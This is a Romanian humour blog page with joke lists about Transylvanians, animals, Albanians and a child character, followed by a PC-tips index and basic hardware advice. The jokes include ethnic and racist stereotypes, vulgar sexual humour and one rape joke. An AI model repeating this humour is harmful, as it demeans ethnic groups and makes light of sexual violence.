17. Culmea tehnicii yoga: să-ţi dai un cap în gură.

18. Culmea fitnessului: să faci să slăbeasca un ardei gras.

19. - De ce eşti atît de supărat, amice, tot nu ţi s-a întors nevasta acasă?
- S-a întors, de asta sînt supărat.

20. Culmea notariatului: să faci o copie legalizată după un act sexual.

Ardeleni

2009-10-31T17:43:00.001+02:00

1. Ardeleanul se întoarce de la spitalul unde bunica familiei fusese internată în stare gravă.
- Ei, care-i baiul? îl întreabă cei de-acasă, nerăbdători să afle veştile.
- No, bine, răspunde ardeleanul. Doctorii spun că a ieşit din criză...
- Asta-i fain! exclamă cineva din familie.
- ... şi a intrat în comă. Ce-o fi asta numai doctorii ştiu.

2. De ce se urcă badea Ion ardeleanul pe munte? Ca să-şi pună p**a pe moaţe...

3. Doi moroşeni, Gheorghe şi Vasile, merg la lucru în ţară. După prima zi de lucru, merg şi ei la cîrciumă. Ca sa nu zică oamenii că-s beţivi, ei cer două cafele.Gheorghe bea din cafea şi-i dau lacrimile,Vasile îl întreabă:
- De ce plîngi, măi Gheorghe?...
- Plîng pentru că mă gîndesc la mama, care a rămas acasă singură cu gospodăria.
Vasile îl consolează:
- Lasă, măi, că ajungem şi noi acasă după ce facem un ban.
Bea şi Vasile din cafea şi-i dau şi lui lacrimile, la care Gheorghe îl întreabă:
- Ce ai, măi Vasile, de ce plîngi?
- Mă gîndesc la săracu' tata cum ar băga p**a-n mă-ta că nu mi-ai spus că-i fierbinte cafeaua!

4. Într-un compartiment de personal, prin Ardeal. Trenul cam pustiu, coridoarele goale, glasul roţilor de tren monoton. Un cetăţean singur într-un compartiment, cufundat în gînduri. Trenul opreşte într-o gară şi în compartiment intră un alt cetăţean, cu un picior de lemn. Dă bineţe şi cade şi el pe gînduri. Mai trec vreo două gări. Primul ocupant ciocăneşte discret în piciorul de lemn:
- Apăi, domnule dragă, nu vă fie cu supărare, frasin îi?
Posesorul, după un moment de chibzuială:
- Ba!
Linişte. Mai trece o gară.
- Paltin îi?
- Ba!
- Fag îi?
- Ba!
- Stejar îi?
- Ba!
- Gorun îi?
- Îi.
- Apăi, daca-i gorun, îi fain, că nu amorţăşte!

5. Un clujean vine în Bucuresti să se plimbe. Se duce el la un hotel şi cere o cameră. Recepţionerul îi spune că daca vrea cameră este una de două persoane pe care trebuie să o împartă cu un negru. Clujeanul nu are ce face şi împarte camera cu acel negru. Anunţă recepţionerul să îl scoale dimineaţa la 6 că are tren şi intră în cameră. Cînd îl vede pe negru îi zice:
- Bă, urît eşti, bă!
Negrul nu are nici o reacţie. Văzînd că nu zice nimic, clujeanul începe să-l înjure. Negrul, înţelegînd ce zicea românul, îl vopseşte pe clujean cu negru în timp ce acesta dormea. Dimineaţa, îl scoală cei de la hotel pe clujean. Intrînd în baie, se uită în oglindă şi cînd se vede negru îşi zice:
- Uite, proştii în loc să mă scoale pe mine l-au sculat pe negru.

6. Doi ardeleni pe marginea unei străzi. Unul zice:
- Vrei să-ţi arăt că eu pot trece strada asta în 10 minute.
- Dar ce, mă, eşti fulger?

7. Un ardelean iese cu capra pe cîmp şi se întîlneşte cu un oltean, care zice:
- Unde te duci cu boul ăsta?
- Ce bou, mă, nu vezi că-i capră?
- Da' nu cu tine vorbeam.

8. Ardeleanul la şcoală îi spune profesorului că el vrea să înveţe ebraica. Profesorul:
- De ce tocmai ebraica?
- Păi cînd am să mor şi am să ajung în Rai, să pot vorbi cu Dumnezeu.
- Şi dacă ai să ajungi în Iad?
- Păi română ştiu bine!

9. Nevasta unui ardelean vrea să dea divorţ. Ajunşi în faţa judecătorului, ea spune:
- De 10 ani sîntem căsătoriţi şi încă nu am făcut dragoste!
Judecătorul, mirat, îl întreabă pe ardelean:
- Bă, tu ori nu vrei, ori nu poţi, ori nu ştii?
Ardeleanul răspunde:
- De putut, pot; de vrut, vreau, şi de ştiut, ştiu; dar nu văd de ce atîta grabă...

10. De ce înmoaie ardelenii pîinea în zeamă? Ca să nu caşte gura de două ori.

11. Doi ardeleni intră într-un bar. Ion îl întreabă pe Vasile:
- No, mă, ce eşti aşa de supărat?
- Apăi abia aştept să ajung acasă şi să rup chiloţii muierii.
- D-apăi ce ai, mă, cu chiloţii femeii?
- Apăi mă aşa mă strîng că de-abia pot mere cu ei pe stradă…

12. De ce sunt ungurii vecini cu ardelenii? Că aşa le trebuie.

13. Ştiţi ce au făcut ardelenii cînd au văzut prima dată un vapor? Au băgat capul snb apă să-i vadă roţile…

14. Un ardelean ce călătorea cu trenul pentru prima oară dă să intre în WC-ul de la un capăt al vagonului. Cum deschide uşa, se zăreşte în oglindă şi zice:
- No, pardon, no!
Se adresează după un timp naşului, rugîndu-l să elibereze WC-ul ca să-l poată folosi şi el. Naşul deschide uşa WC-ului cu cheia sa specială,şi se zăreşte şi el în oglindă, după care spune:
- Îmi pare rău, bade, dar nu-l pot da afară pe dînsul, că-i ceferist de-al nostru!

15. Un ardelean strigă de pe un deal la vecinul său aflat pe celălalt deal:
- Bă Gheorghe, bă...
- Ce-i, bă Ioane?
- Bă Gheorghe, o dai pe fiică-ta de nevasta lu' fiu-meu, bă?
- Om da-o, bă Ioane, că doar n-om f**e-o noi…

16. De ce sunt ardelenii ca telefoanele publice? Pentru că trebuie să le dai un pumn ca să le pice fisa…

17. Doi ardeleni, Ion şi Gheorghe, vor să treacă strada. Ion spune:
- Mă, eu pun pariu cu tine că trec strada asta într-o juma' de oră.
- No, că doar nu eşti fulger!

18. Un ardelean vine acasă mai devreme de la cîmp şi aude zgomote în dormitor. Se duce în fugă şi-şi găseşte nevasta dezbrăcată complet, întinsă pe pat, transpirată şi gîfîind...
- Ce-i, mă nevastă, ce ai?
- Am infarct, zice ea.
Ardeleanul dă să fugă afară să cheme pe doctor, cînd copilul lui de 4 ani zice:
- Tată, tată, unchiu' Gheorghe este sub pat în pielea goală...
Ardeleanul fuge înapoi, ridică pătura şi-l vede pe Gheorghe sub pat dezbrăcat şi zice:
- Păi bine, mă nenorocitule, nevastă-mea moare de inimă şi tu umbli ca un bezmetic prin casă în pielea goală de-mi sperii copilul…

19. Doi ardeleni tăiau o bombă cu fierăstrăul. Vine al treilea şi îi întreabă:
- Mă, da' dacă explodează?
La care ăilalţi:
- Apăi nu-i bai, că mai avem una!

20. - Ioane, vaca ta fumează?
- No, da' cum să fumeze vaca?
- Atunci, mă, ţi-o luat foc grajdu'!

21. Ardeleanul ajunge cu Dacia la o benzinărie. Neavînd prea mulţi bani la el, îl întreabă pe vînzător:
- Cît costă litrul de benzină?
- 10.000.
- Dar o picătură de benzină cît costă?
- Păi... cît să coste? O picătură? Nu costă nimic!
- Atunci picuraţi-mi şi mie 20 de litri în rezervor!

22. Doi ardeleni stau de vorbă:
- Ieri a căzut un taxi într-o prăpastie; 8 pasageri au fost salvaţi, pentru ceilalţi 11 nu s-a mai putut face nimic!

23. La ora de psihologie, profesorul ardelean îşi întreabă elevii, arătînd al treilea deget de la mîna dreaptă:
- Ştiţi de ce nu folosesc indienii degetul acesta?
Nimeni nu răspunde la întrebare.
- Fiindcă este al meu!

24. - Găinile astea sînt de la noi sau din străinătate? întreabă un ardelean la piaţă.
- Dar de ce va interesează? Vreţi să le mîncaţi sau să le ţineţi de vorbă?

25. Ardelenii se hotărăsc să declare război Chinei. La un moment dat, unul dintre ei îi atenţionează pe ceilalţi:
- Bă, da'-s milioane!
- Da' chiar, bă, unde-i îngropăm?

26. Primăvară într-un sat din Ardeal. Doi ciobani stăteau pe cîmp cu oile. La un moment dat, vin nişte specialişti, cu nişte aparate sofisticate, şi încep să verifice temperatura solului, ca să ştie cînd să planteze porumbul. Cei doi ciobani, nedumeriţi de ce se întîmpla, se duc şi-i întreabă ce fac. La care specialiştii le spun că măsoară temperatura solului. La care unu' dintre ciobani răspunde:
- Păi bine, mă, acum 150 de ani, stră-stră-bunicul meu măsura temperatura cu fundul. Îşi dădea jos izmenele şi se punea cu c**ul pe pămînt, şi aşa ştia dacă să planteze porumbul sau nu… Vedeţi voi, ce făcea el acum 150 de ani cu c**ul voi faceţi acum cu capul.

27. Un ardelean e oprit de un poliţist, care îi spune:
- Daţi-mi numele şi prenumele.
- Ai înnebunit? Şi pe urmă cum mă mai numesc?

28. Un ardelean la casa de bilete din Gara de Nord:
- Trenul de Cluj de unde pleacă?
- Îmi pare rău, dar trenul de Cluj a plecat acum 10 minute!
- Daa? D-apoi unde a plecat?

29. Cum latră cîinii în Ardeal? "No, hau..."

30. Într-un compartiment de tren, un oltean şi un ardelean; la un moment dat, ardeleanul scoate o litră de palincă, slănină, pită, sfarmă o ceapă şi începe să mănînce, trăgînd din cînd în cînd şi din palincă... Olteanului i se face de o duşcă, dar cum să intre în vorbă? La un moment dat, văzînd că ţuica e pe terminate, îşi ia inima în dinţi şi se apropie de ardelean:
- Mă cheamă Radu!
- Apăi, no, dacă te cheamă, du-te...

31. Doi ardeleni lucrau la Edison şi trebuiau să pună un stîlp în pămînt. Şeful îi vede că au făcut groapa şi apoi au măsurat stîlpul şi pleacă. Cînd se întoarce, vede că au pus stîlpul şi unul dintre ei era sus pe stîlp şi măsura. Şeful, mirat, îl întreabă ce face, de ce îl măsoară, că doar l-a măsurat jos? La care ardeleanul nostru răspunde:
- Da, jos i-am măsurat lungimea, acum îi măsor înălţimea.

32. Coboară ciobanul de la munte să meargă la Sibiu. În gară, vede un chioşc şi cere o bere. Tipa îi dă o bere la cutie de tablă. Ciobanu' scoate brişca, crapă cutia şi bea berea. Bineînţeles că nu se satură şi mai cere una… O ciopleşte şi pe asta… Mai cere una, după care tipa de le chioşc:
- Baciule, cutia aia are un inel, trage de el şi se deschide, de-aia e făcut.
Se uită baciul nostru şi zice:
- Inelu' ăla e pentru ăia care nu au brişcă.

33. La ora de psihologie, profesorul (ardelean):
- Ştiţi de ce nu folosesc indienii degetul acesta? întreabă el arătînd al treilea deget de la mîna dreaptă.
Nimeni nu răspunde la întrebare.
- Fiindcă este al meu! continuă profesorul.

34. Doi ardeleni se întîlnesc pe un drum de ţară:
- Bună ziua, Ioane!
Se depărtează unul de altul, mergînd în sensuri opuse.
- Apăi bună ziua, Văsălie!
Se mai depărtează puţin...
- Apăi Ioane, un te du'?
Se mai depărtează puţin...
- Apăi mă duc la oraşu'...
Se mai depărtează puţin...
- D-apăi ce să faci tu la oraşu', măi Ioane ?
Se mai depărtează puţin...
- Apăi mă duc să-mi iau muiere !
Se mai depărtează puţin...
- Apăi Ioane, ia-ţi muiere faină că altfel o f**i singur!

35. Un oltean se întîlneşte cu un ardelean care ducea de legătoare o capră.
- Unde duci boul ăla? întreabă olteanul.
Contrariat, ardeleanul se uită spre animal termîndu-se de rîs, după care ripostează:
- Eşti chior, nu vezi că-i capră?
- Păi, eu cu capra vorbeam...

36. Un ardelean, un oltean şi un moldovean stăteau în sala de aşteptare a unei maternităţi. La un moment dat, se stinge lampa şi ca un făcut toate damele lor nasc dintr-odată. După ce vine curentul, apare moaşa şi zice:
- Vă rog să ne scuzaţi, dar, în zarva care a fost pe întuneric, s-au schimbat copii şi trebuie să apelăm la înţelegerea şi spritul dv. practic în a identifica copiii cui aparţin. Aşa că, domnule, îi spune ardeleanului, vă rog să poftiţi şi să ne spuneţi care credeţi că e al dv.?
Ardeleanul intră şi se uită la copii.
- Ăsta-i, spune el, arătînd spre un copil care era negru.
- Cum, domnule, chiar ăsta credeţi că e al dv.? De ce nu luaţi pe unul din cei doi albi?
- Dar ce? Credeţi că îmi trebuie un moldovean sau un oltean?

37. Zice-se că un ardelean se duce să se dea cu paraşuta. În avion, instructorul îl învaţă cum să procedeze:
- Apoi după ce te arunci matale din avion, numeri pînă la zece şi tragi de sfoara asta să se deschidă paraşuta.
"No binie" zise ardeleanul nostru şi sări din avion. Instructorul priveşte din avion cum nea' Ghoerghe se duce jos ca pietroiul, fără ca paraşuta să se deschidă. Avionul face stînga'mprejur şi aterizează. Instructorul se aruncă într-un Jeep într-o căutare disperată pe cîmpul plin de căpiţe de fîn. Într-un final, aude un zgomot dintr-o căpiţă. Cînd se apropie de locul cu pricina, îl aude pe nea' Gheorghe murmurînd în căpiţă:
- Apoi no mă rog frumos nouă, ... , apoi no mă rog frumos zece, şi nea' Gheorghe trage cu sete de sfoara paraşutei.

38. Traversînd o stradă, un ardelean este izbit de o maşină, dar nu păţeşte nimic. Totuşi, şoferul îi pune cîteva monede în mînă ca să împace lucrurile. Încîntat, ardeleanul i se adresează:
- Veniţi des pe aici, domnule?

39. - Găinile astea sînt de la noi sau din străinătate? se întreabă un ardelean la piaţă.
- Dar de ce vă interesează? Vreţi să le mîncaţi sau să le ţineţi de vorbă?

40. Doi ardeleni privesc la ProTV. Se transmit ştirile de la ora 8, unde o femeie vrea să se arunce de la ultimul etaj al unei clădiri.
- Pariez pe cinci mii de lei că se aruncă, spune primul ardelean.
- De acord, spune al doilea ardelean.
Femeia se aruncă totuşi şi al doilea ardelean scoate portofelul, dar primul ardelean nu vrea să primească banii:
- Ştii ce? Eu am văzut şi ştirile de acum două ore.
- Şi eu, spuse primul ardelean, dar nu credeam că se va arunca şi a doua oară!

Animale

2009-10-31T17:37:00.000+02:00

1. Un vierme îi spune prietenei sale:
- Dacă nu te măriţi cu mine, mă arunc în faţa găinii!

2. Discuţie între o vacă şi viţelul ei:
- Gata, de azi să nu te mai prind că te mai caută Ghiţă!
- De ce, mama?
- De-aia.
- De ce?
- Păi mă-sa e o scroafă, taică-su e un porc.
- Dar, mamă, şi tu esti o vacă.
- Da, dar tatăl tău a fost veterinar...

3. Pe la 3 noaptea, un vultur iese dintr-un bar rupt de beat. La un moment dat, fîl-fîl pe un gard. Poc jos. Fîl-fîl pe o casă. Poc jos.
- Băga-mi-aş p**a, azi iar merg pe jos!

4. Doi struţi la o discuţie.
- Ştii de ce ne băgăm noi capul în nisip?
- Nu ştiu de ce o faci tu, dar eu caut petrol!

5. Într-o alimentară, intră un cîine cu o bancnotă în gură, latră spre un salam, dă bancnota vînzătorului, ia salamul în gură şi pleacă. A doua zi la fel! A treia zi, vînzătorul urmăreşte cîinele, care ajunge în faţa unei uşi, sună şi iese un tip care îl ia la bătaie pe bietul cîine. Vînzătorul, revoltat, intervine:
- Dom'le, eşti nebun! Cîinele ăsta e foarte inteligent! De ce-l baţi?
- Lasă, domnule, că ştiu eu ce ştiu! Îl bat pentru că iar şi-a uitat cheile acasă!

6. Lupul o opreşte în pădure pe Scufiţa Roşie.
- Uite ce, nu te mănînc, dacă ne jucăm de-a ursul!
- Bine, dar cum?
- Tu mi-o sugi şi eu fac "Mor, mor, mor...".

7. Se plimbă doi gîndaci. Unul se mişcă tremurător. Celălalt spune:
- Asta ce e? Breakdance?
- Nu, diclofos.

8. Cocoşul organizează o şedinţă cu găinile. Despachetează o cutie şi scoate din ea un ou de struţ.
- Nu vreau să vă critic, dar nu strică să fiţi la curent cu ce este în stare concurenţa!

9. Femeia merge în piaţa de animale. Vrea să facă o suprinză soţului.
- Bună ziua, doamnă!
- Bună ziua, aş dori un papagal.
- Din păcate, doar un singur papagal avem. Adevărat că pînă acum a trăit la un bordel, dar este foarte drăguţ.
Femeia îl cumpără. Acasă îl acoperă şi îşi aşteaptă soţul iubit. Soţul ajunge acasă, intră în cameră, soţia ia bucata de cîrpă de pe colivie. Papagalul se uită jur împrejur şi spune:
- Hm... cameră nouă, hm... pat nou, hm... curvă nouă. Salut, Gheorghe!

10. Animalele pun întrebări lui Dumnezeu. Întreabă elefantul:
- Eu de ce am pielea aşa groasă?
- Ca să te apere de toate, de exemplu nici ţânţarul nu te poate pişca.
Întreabă girafa:
- Eu de ce am gîtul aşa de lung?
- Aşa ajungi şi frunzele care se află la mare înălţime.
Găina nervoasă:
- Nici nu încerca să-mi explici, ori oul îl faci mai mic, ori gaura mai mare.

11. Se plimbă iepuraşul prin pădure. Şi ursul se plimbă prin pădure. Hop, prinde iepuraşul şi-l bate. Pe acolo trece călare un cavaler, pe un cal negru, cu mască neagră, cu pelerină neagră. Se opreşte, snopeşte în bătaie ursul, îşi scoate apoi sabia şi face un Z mare în blana lui. Apoi se urcă pe cal şi pleacă mai departe. Iepuraşul cu greu îşi revine, şi şopteşte:
- Mulţumesc, Zuperman!

12. Cineva bate la uşă. Tipul deschide uşa, se uită în stînga, nimeni. Se uită în dreapta, nimeni. Se uită în jos, atunci vede melcul pe ştergător. Îl prinde şi-l aruncă pe partea cealaltă, în iarbă.
Trec zece ani, iar bate cineva la uşă. Tipul deschide uşa, pe ştergător melcul, care întreabă:
- Auzi, ai ceva cu mine?

13. Doi şoricei se întîlnesc:
- Ce mai face familia ta?
- Mersi, bine. Unul dintre fraţii mai mari lucrează la o farmacie, iar celălalt la clinica de cardiologie.

14. Merge acasă motanul împreună cu iubita, după o noapte plină de evenimente. Motanul nu se poate stăpâni şi miaună:
- Oh, iubiţica mea, aş muri pentru tine.
Pisicuţa îi aruncă o privire incitantă şi întreabă:
- Bine, dar de cîte ori?

15. În curtea ţărănească, una dintre găini a ouat un ou de jumătate de kilogram.
- Ne spui şi nouă cum ai reuşit? o întreabă celelalte găini.
- Secret de familie.
- Proiecte pe viitor?
- Voi oua un ou de un kilogram.
Îl întreabă şi pe cocoş cum au reuşit.
- Secret de familie.
- Şi care-ţi sunt proiectele pe viitor?
- Să pocesc mutra struţului.

16. Directorul circului vorbeşte la telefon.
- Deci dv. sînteţi artist şi aţi dori să lucraţi la noi. Ce ştiţi să faceţi?
- Ştiu să cît, să mă dau cu bicicleta, să dansez, să jonglez.
- Altceva?
- Să cît la trompetă.
- Îmi pare rău, dar aceste lucruri sunt prea puţine.
- Puţine? Păi la ce vă aşteptaţi de la un elefant?

17. Un român pleacă în SUA pentru a se angaja. El găseşte de lucru la
o grădină zoologică. Trebuia să poarte în fiecare zi un costum de maimuţă. Într-o zi, cade din greşeală în cuşca unui leu. Înspăimîntat, începe să ţipe:
- Ajutooooooor!
La care leul îi spune:
- Taci dracului că ne pierdem slujba.

18. Cum îşi pune un elefănţoaică tamponul? Se aşează pe o oaie.

19. Un tip bate la poarta unei case. Un cîine se ridică în două picioare şi-i spune:
- Stăpînul nu e acasă!
Tipul leşină de spaimă. Cînd îşi revine, îl întreabă pe cîine:
- Pai, dacă eşti cîine, de ce nu latri?
- N-am vrut să te sperii!

20. O bătrînă rîmă se confesează alteia:
- De 20 de ani trăiesc cu el şi abia acum am observat că este un şiret...

21. La grădina zoologică, un vizitator vede surprins cum un leu îşi linge dosul cu înverşunare. Trece îngrijitorul şi omul nostru îl întreabă:
- Spuneţi-mi, întotdeauna se spală leul aşa?
- Da' de unde! Însă dimineaţă a muşcat un avocat şi altfel nu poate scăpa de gustul lui.

22. De ce ţin cîinii piciorul ridicat cînd fac pipi pe un gard? Ca să nu cadă gardul pe ei.

23. Un tip speriat intră într-un restaurant:
- Al cui este pitbull-ul de la intrare?
Un tip îi răspunde plictisit:
- Este al meu, care-i problema?
- Sînt dezolat, dar caniche-ul meu tocmai l-a ucis pe al dv.
- Imposibil, cîinele meu să fie omorît de un caniche... Mă faceţi să rîd. Cum se poate ca o javră prăpădită să-i facă asta fiarei mele?
- Cred că pitbull-ul dv. s-a înecat în timp ce îmi mînca caniche-ul.

24. În barul din pădure, aglomeraţie mare... Intră iepuraşu' şi strigă:
- Două beri şi să cînte muzica!
Vulpea se scoală de la o masă:
- Băi iepuraşule, ce mă, te-ai făcut şmecher? De ce strigi, bă?
Iepuraşu' îi răspunde calm:
- Ce vrei, fă nenorocito? Hai afară să ne ardem!
Ies afară, se aud bubuituri şi intră numai iepurele:
- Doua beri şi să cînte muzica!
Se ridică şi lupul:
- Ce vrei, mă? Tu crezi că dacă ţi-a mers cu vulpea eşti tare? Hai afară să-ţi arăt "Mortal Kombat 4"!
Ies ăştia, după 5 minute intră numai iepurele. De data asta, protestează ursul, etc., aceeaşi poveste... intră iepurele şi strigă:
- Două beri şi să cînte muzica!
Se deschide uşa şi intră leul:
- Să fie "Bergenbier", că sînt cu cumnată-miu!

25. Un papagal, care nu avea şi el pe cine f**e, se duce la măgar să-l înveţe şi pe el cum să facă s-o pună cu cineva.
- Băi papagalule, mergi şi tu la vulpiţă, că ştiu că e mare curvă şi propune-i şi tu ceva.
Merge papagalul la vulpe şi îi face propunerea, dar este refuzat. Se duce din nou la măgar:
- Ce-ai facut, mă?
- Păi i-am propus să o punem!
- Păi nu aşa, mă! Te duci şi o inviţi în oraş şi apoi îi ceri să o puneţi!
O scoate papagalul pe vulpiţă în oraş şi seara îi propune să o pună, dar este refuzat din nou. Se duce iar la măgar:
- Acum ce-ai facut, mă?
- Am făcut cum m-ai sfătuit, dar m-a refuzat din nou.
- Du-te acum şi invit-o în oraş şi dai şi ceva de mîncat, şi de băut, ca eu aşa am făcut şi nu m-a refuzat apoi!
Face papagalul întocmai, dar este refuzat din nou. Se supără măgarul şi zice:
- Hai cu mine, să-ţi arăt eu.
Se duc amîndoi la vulpiţă, o ia măgarul direct şi i-o pune!
Morala: Cu o femeie trebuie să fii măgar, nu papagal!

26. Două bufniţe pe cracă.
Prima: Buhuhu !
A doua: Buhuhu în p***a mă-tii că m-ai speriat.
trimite unui prieten | (netwalker) | (152 voturi)

27. Mama molie cu puiul molie.
- Puişor, te rog frumos să papi ciorăpel...
- Nu pap ciorăpel!!!
- Ba, te rog frumos, îţi spun pentru ultima oară: papă ciorăpel!
- NU pap ciorăpel!!!
- Bineee, să ştii că cine nu papă ciorăpel nu papă nici mohair.

28. Pinguinul intră în bar şi îl întreabă pe barman:
- A trecut tata pe aici?
- Nu ştiu, răspunde barmanul, cum arăta?

29. Scufiţa Roşie mergea spre bunica ei. Este prinsă şi violată de lupul cel rău. El o întreabă:
- Ce-ai să-i spui bunicii tale?
- Că m-am întîlnit cu tine şi m-ai violat de patru ori.
- De patru ori? se miră lupul.
- Da! Sau te grăbeşti?

30. Ce face un liliac într-un cuptor cu microunde? Ascultă muzică.

Alinuta

2009-10-31T17:32:00.001+02:00

1. Alinuţa era oarbă din naştere. Într-o zi, mama ei îi dădu o cremă şi îi spuse:
- Dă-te cu asta ca să poţi vedea.
- Mamă, mamă, nu merge!
- Alinuţa, ai uitat că azi e 1 aprilie?

2. Alinuţ şi Alinuţa mergeau pe un pod. Podul s-a rupt şi Alinuţ a căzut şi a murit. Alinuţa a fost mai norocoasă: s-a prins cu ochiu' d-un cui.

3. - Alo, Alinuţa e acasă?
- Da... e acasă azi şi mîine, că poimîine o îngropăm...

4. - Mamă, pot să-i tai o ureche lui tata?
- Nu! Mai lasă-l să fiarbă încă vreo 10 minute!

5. Alinuţa iese din baie plîngînd amarnic.
- Ce ai, fetiţo? o întreabă mama ei.
- Fraţii mei se joacă în cadă de-a submarinele şi pe mine m-au dat afară, zicînd că eu nu am periscop.

6. - Ce-a păţit surioara ta?
- Şi-a rupt piciorul.
- Vai, ce păcat! Cum s-a întîmplat?
- Am pus pariu care din noi se apleacă mai mult pe fereastră. Şi ea a cîştigat.

7. - Alinuţa, scoate cleştele din gură!
- ...
- Alinuţa, scoate cleştele...
- Mamă, ţi-am zis că azi mi-ai bătut cuiul prea adînc!

8. Alinuţa la munte, pe marginea prăpastiei. Maică-sa:
- Alinuţa, vezi să nu cazi în prăpastie!
- Bineeeee...

9. Alinuţa era în curte cu o cutie de cuie şi un ciocan. Maică-sa o întreabă:
- Ce faci, Alinuţo?
- Mă reasamblez!

10. - Mamă, mamă, nu mai vreau să înghit vomitiv!
- Taci din gură, Alinuţa! Cîinelui îi e şi lui foame.

11. - Alinuţa, nu te mai legăna pe picioarele bunicului!
- De ce?
- Păi şi aşa-i mort de o oră!

12. - Mamă, mamă, pot să ling castronul?
- Prea tîrziu, Alinuţa, deja l-am limpezit...

13. - Mamă, mamă, nu vreau să golesc gunoiul!
- Taci şi înghite...

14. - Mamă, mamă, bunicuţul e pe terminate!
- Atunci mai pune pe el nişte benzină...

15. - Mamă, mamă, învăţătoarea spune că am capul prea mare!
- Taci din gură şi adu-ţi pălărioara din garaj ca tata să poată gara maşina...

16. - Mamă, mamă, de ce împingem maşina în prăpastie?
- Taci din gură, altfel se trezeşte tata...

17. - Mamă, mamă, pot să mă spăl pe dinţi?
- Da, du-te şi adu' borcanul...

18. - Mamă, mamă, poate frăţiorul să joace baschet cu noi?
- Alinuţa, tu ştii că frăţiorul tău nu are mîini şi picioare!
- Da, ştiu, dar voiam ca el să fie jucătorul de rezervă...

19. - Tată, tată, nu-mi place la pescuit!
- Taci din gură şi nu te mai zbate...

20. - Mamă, mamă, îmi place frăţiorul aşa de mult!
- Bine, atunci mai primeşti o porţie...

Albanezi

2009-10-31T17:29:00.000+02:00

1. Albanezii, după lungi ani de studii, documentări şi cercetări, reuşesc să construiască primul lor avion, dar care la primul lui zbor se prăbuşeşte. Jale mare, doliu naţional şi ziarele din întreaga lume apar cu următoarea ştire pe prima pagină:
"Primul avion construit de albanezi s-a prăbuşit. În viaţă, din întreg echipajul, a mai rămas numai fochistul!"

2. De ce au pierdut albanezii războiul? Era arcaşul bolnav!

3. Ce reprezintă doi albanezi pe plajă cu cîte două beţe în mînă? Paza de coastă!

4. Cum distrugi un tanc albanez? Îl împuşti p-ăla care-l împinge!

5. Care-i diferenţa dintre un albanez mic şi unul mare? Ăla mare arde mai mult.

6. De ce e criză de elastic în Albania? Se pregătesc să-şi lanseze primul satelit artificial!

7. Dupa un raid aviatic asupra Bosniei, albanezii sînt întrebaţi:
- De ce nu a participat flota voastră aviatică?
- Era bolnav pilotul…

8. La Naţiunile Unite:
- Cu ce dotare logistică poate participa Albania la forţele de menţinere a păcii?
- Vă dăm un tanc!
- Nu se poate, doar unul?
- Bine, vi le dăm pe amîndouă.

9. De ce ies submarinele albaneze la suprafaţă din două în două minute? Ca să respire vîslaşii …

Bancuri

2009-10-31T17:24:00.002+02:00

Albanezi
Alinuţa
Animale
Ardeleni
Bancuri noi
Bărbaţi şi femei
Beţivi

Trucuri de tot felul

2009-10-31T14:48:00.002+02:00

# Trucuri XP
# Trucuri Vista
# Trucuri INTERNET
# Utilitare
# Cum sa imbunatatiti RAM-ul calculatorului
# Cum sa obtineti cel mai bun sunet de la calculator...
# Cum sa schimbati viteza mouse-ului
# Cum sa va cumparti boxe
# Cum sa curatati un monitor
# Cum sa decideti daca sa reparati sau sa inlocuiti ...
# Cum sa va decideti daca merita sa imbunatatiti un ...
# Cum sa curatati interiorul unui calculator in sigu...
# Cum sa depozitezi CD-uri si CD-ROM-uri in sigurant...
# Cum sa depanezi un CD-R Drive
# Cum sa restaurati un CD
# Cum sa reparati un CD indoit
# Cum sa va pozitionati calculatorul
# Cum sa curatati o tastatura
# Virus Simple Maker
# Cum sa strici Windowsu'
# Cum afli Ip unuia de pe mess
# Creati un virus
# Cum sa faci un fel de Trojan
# Editati meniul send to
# Creati un Cd cu autoplay
# Mutati directorul My Documents
# Restaurati iconul Show Desktop
# Accelerati viteza de transfer din retea
# Imbunatatiti viteza firefox-ului
# Cum sa faci un virus tip PRANK
# Cum sa faci un folder invizibil
# Lucreaza cu tastatura pe ecran
# Ai din nou acces la unitatile de CD-ROM
# Logare automata in XP
# Mesaj la pornirea calculatorului
# Deschide un program cu o combinatie de taste
# Sa nu iti apara mesajul Low Disk Space
# Dezactivati raportarea erorilor in XP

Cum sa imbunatatiti RAM-ul calculatorului

2009-10-30T22:57:00.003+02:00

Pentru a mari RAM-ul calculatorului trebuie sa stiti tipul de RAM pe care il foloseste, cum este acesta configurat si cate intrari pentru RAM sunt disponibile.

Pasi
1. Verificati manualul utilizatorului sau manualul placii de baza pentru a vedea daca RAM-ul este par sau impar.
2. Aflati viteza RAM-ului (de exemplu 60 ns).
3. Determinati daca calculatorul foloseste memorie de tip SIMM sau DIMM.
4. Verificati daca calculator dvs foloseste RAM simplu, FMP, EDO sau Synch DRAM.
5. Determinati numarul de pini de pe placa de baza: 30, 72 sau 168.
6. Scoateti carcasa pentru a vedea numarul de intrari pentru RAM. Cautati intre doua si opt intrari, de aceeasi marime, paralele, aflate pe placa de baza. De obicei cel putin doua dintre intrari vor contine memorii RAM - placi de circuite care arata ca niste rigle cu integrate pe ambele parti.
7. Cumparati memorie RAM aditionala care se potriveste cu memoria RAM existenta.

Sfaturi
Asteptati-va sa gasiti cu dificultate RAM nou daca calculatorul dvs este foarte vechi.
Daca aveti un calculator mai nou 486 sau versiune mai veche a Pentium sau Power PC (din 1994-1996), calculatorul dvs va avea 72 de pini de tip SIMM de tip impar.
Procesoarele Pentium mai noi au memorie de tip EDO.
Pentium 2 si Pentium 3 si cele dupa 1996 folosesc memorie tip DIMM.
De obicei trebuie sa instalati memoriile SIM in perechi.
Daca nu stiti cat RAM aveti instalat, verficati My Computer sau alegeti About This Macintosh din meniul Apple.
Majoritatea memoriilor RAM sunt instalate in sloturi SIMM sau DIMM dar la unele calculatoare RAM-ul poate fi pus pe placa de baza.

Cum sa obtineti cel mai bun sunet de la calculatorul dvs

2009-10-30T22:57:00.001+02:00

Interiorul calculatorului este zgomotos si afecteaza calitatea sunetului. Puteti imbunatatii sunetul prin instalarea unei placi audio, adaugarea de boxe externe sau prin conectarea calculatorului la sistemul stereo.

Imbunatatirea echipamentului unui sistem

Pasi
1. Cumparati difuzoare de buna calitate.
2. Cumparati o placa audio mai buna, in cazul in care placa audio ce o aveti foloseste portul ISA si nu portul PCI.

Sfaturi
Placile audio variaza ca pret.
Majoritatea placilor audio asigura sunet de calitate de 16 biti - aceeasi cu a unui cd - in timp ce majoritatea placilor audio imbunatatite asigura calitate audio de 32 sau 64 de biti.
Unele placi audio care sunt mai scumpe contin RAM.

Atentie
Vedeti daca modemul este integrat pe placa audio. Daca inlocuiti placa audio va trebui sa inlocuiti si modemul.
Calculatoarele mai vechi este posibil sa nu aiba placi audio.

Conectare la sistemul stereo

Pasi
